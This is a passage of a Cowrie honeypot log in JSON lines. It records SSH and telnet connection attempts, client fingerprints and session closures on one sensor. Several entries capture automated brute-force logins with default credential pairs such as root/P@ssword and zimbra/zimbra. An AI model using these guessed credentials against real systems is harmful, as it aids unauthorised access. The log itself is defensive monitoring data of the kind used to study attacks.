etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:40.803307Z","src_ip":"45.153.34.114","session":"fdce9dfdf3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:41.057390Z","src_ip":"45.153.34.114","session":"fdce9dfdf3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.141932725906372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:41.737297Z","src_ip":"74.91.213.120","session":"e4b2c213cf57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:42.148645Z","src_ip":"45.153.34.114","session":"fdce9dfdf3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1468186378479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:47.553305Z","src_ip":"74.91.213.120","session":"53ffef47a9d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35686,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9548afdfe1e","protocol":"ssh","message":"New connection: 45.153.34.114:35686 (159.203.135.109:22) [session: d9548afdfe1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:49.159678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:49.165682Z","src_ip":"45.153.34.114","session":"d9548afdfe1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:49.248066Z","src_ip":"45.153.34.114","session":"d9548afdfe1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:49.728020Z","src_ip":"45.153.34.114","session":"d9548afdfe1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:50.866825Z","src_ip":"45.153.34.114","session":"d9548afdfe1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.149847507476807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:51.062259Z","src_ip":"74.91.213.120","session":"85648e846ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45336,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3537b7c456d","protocol":"telnet","message":"New connection: 74.91.213.120:45336 (159.203.135.109:23) [session: a3537b7c456d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:52.464775Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45348,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf6196fc14c","protocol":"telnet","message":"New connection: 74.91.213.120:45348 (159.203.135.109:23) [session: daf6196fc14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:53.866748Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5febc23dd052","protocol":"telnet","message":"New connection: 74.91.213.120:45354 (159.203.135.109:23) [session: 5febc23dd052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:56.003739Z"}
{"eventid":"cowrie.session.closed","duration":30.79086446762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:56.215554Z","src_ip":"74.91.213.120","session":"a088d3483136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276826858520508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:57.263992Z","src_ip":"74.91.213.120","session":"7557992a334d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50038,"dst_ip":"159.203.135.109","dst_port":22,"session":"745a0c9f0695","protocol":"ssh","message":"New connection: 45.153.34.114:50038 (159.203.135.109:22) [session: 745a0c9f0695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:57.309036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:57.314041Z","src_ip":"45.153.34.114","session":"745a0c9f0695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:57.400678Z","src_ip":"45.153.34.114","session":"745a0c9f0695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:57.676818Z","src_ip":"45.153.34.114","session":"745a0c9f0695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:58.765672Z","src_ip":"45.153.34.114","session":"745a0c9f0695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42436,"dst_ip":"159.203.135.109","dst_port":23,"session":"2db1c269befc","protocol":"telnet","message":"New connection: 74.91.213.120:42436 (159.203.135.109:23) [session: 2db1c269befc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:59.776479Z"}
{"eventid":"cowrie.session.closed","duration":31.27916145324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:04.980730Z","src_ip":"74.91.213.120","session":"fe1468a4b69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a9be21b89f6","protocol":"ssh","message":"New connection: 45.153.34.114:60198 (159.203.135.109:22) [session: 5a9be21b89f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:05.491367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:05.496736Z","src_ip":"45.153.34.114","session":"5a9be21b89f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:05.589737Z","src_ip":"45.153.34.114","session":"5a9be21b89f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:05.877696Z","src_ip":"45.153.34.114","session":"5a9be21b89f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:06.969374Z","src_ip":"45.153.34.114","session":"5a9be21b89f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.352143049240112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:07.074569Z","src_ip":"74.91.213.120","session":"de92b9b962cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42440,"dst_ip":"159.203.135.109","dst_port":23,"session":"b969dde113c7","protocol":"telnet","message":"New connection: 74.91.213.120:42440 (159.203.135.109:23) [session: b969dde113c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:09.525781Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38642,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d36bab032d","protocol":"telnet","message":"New connection: 74.91.213.120:38642 (159.203.135.109:23) [session: 61d36bab032d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:11.726399Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59700,"dst_ip":"159.203.135.109","dst_port":22,"session":"14fcff8dfe8c","protocol":"ssh","message":"New connection: 45.153.34.114:59700 (159.203.135.109:22) [session: 14fcff8dfe8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:13.479197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:13.483647Z","src_ip":"45.153.34.114","session":"14fcff8dfe8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:13.568060Z","src_ip":"45.153.34.114","session":"14fcff8dfe8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:13.823848Z","src_ip":"45.153.34.114","session":"14fcff8dfe8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:14.917063Z","src_ip":"45.153.34.114","session":"14fcff8dfe8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"34cd721a1b9f","protocol":"telnet","message":"New connection: 74.91.213.120:38652 (159.203.135.109:23) [session: 34cd721a1b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:16.486340Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41508,"dst_ip":"159.203.135.109","dst_port":23,"session":"2348faf7168b","protocol":"telnet","message":"New connection: 74.91.213.120:41508 (159.203.135.109:23) [session: 2348faf7168b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:17.139032Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41518,"dst_ip":"159.203.135.109","dst_port":23,"session":"d18afc9d9743","protocol":"telnet","message":"New connection: 74.91.213.120:41518 (159.203.135.109:23) [session: d18afc9d9743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:18.141706Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":60708,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e1c3008847","protocol":"ssh","message":"New connection: 45.61.187.220:60708 (159.203.135.109:22) [session: 84e1c3008847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:19.474646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:19.480273Z","src_ip":"45.61.187.220","session":"84e1c3008847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:19.525853Z","src_ip":"45.61.187.220","session":"84e1c3008847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:19.750834Z","src_ip":"45.61.187.220","session":"84e1c3008847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:20.807682Z","src_ip":"45.61.187.220","session":"84e1c3008847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40692,"dst_ip":"159.203.135.109","dst_port":22,"session":"9faf159285a3","protocol":"ssh","message":"New connection: 45.153.34.114:40692 (159.203.135.109:22) [session: 9faf159285a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:21.341116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:21.345801Z","src_ip":"45.153.34.114","session":"9faf159285a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:21.428020Z","src_ip":"45.153.34.114","session":"9faf159285a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:21.685953Z","src_ip":"45.153.34.114","session":"9faf159285a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:22.775699Z","src_ip":"45.153.34.114","session":"9faf159285a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41526,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fad2f84c9b2","protocol":"telnet","message":"New connection: 74.91.213.120:41526 (159.203.135.109:23) [session: 7fad2f84c9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:23.359906Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41536,"dst_ip":"159.203.135.109","dst_port":23,"session":"92767f85700d","protocol":"telnet","message":"New connection: 74.91.213.120:41536 (159.203.135.109:23) [session: 92767f85700d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:23.582710Z"}
{"eventid":"cowrie.session.closed","duration":31.223153352737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:23.687782Z","src_ip":"74.91.213.120","session":"a3537b7c456d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167436599731445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:25.034090Z","src_ip":"74.91.213.120","session":"daf6196fc14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41546,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe4f1fe41e2","protocol":"telnet","message":"New connection: 74.91.213.120:41546 (159.203.135.109:23) [session: dbe4f1fe41e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:26.385030Z"}
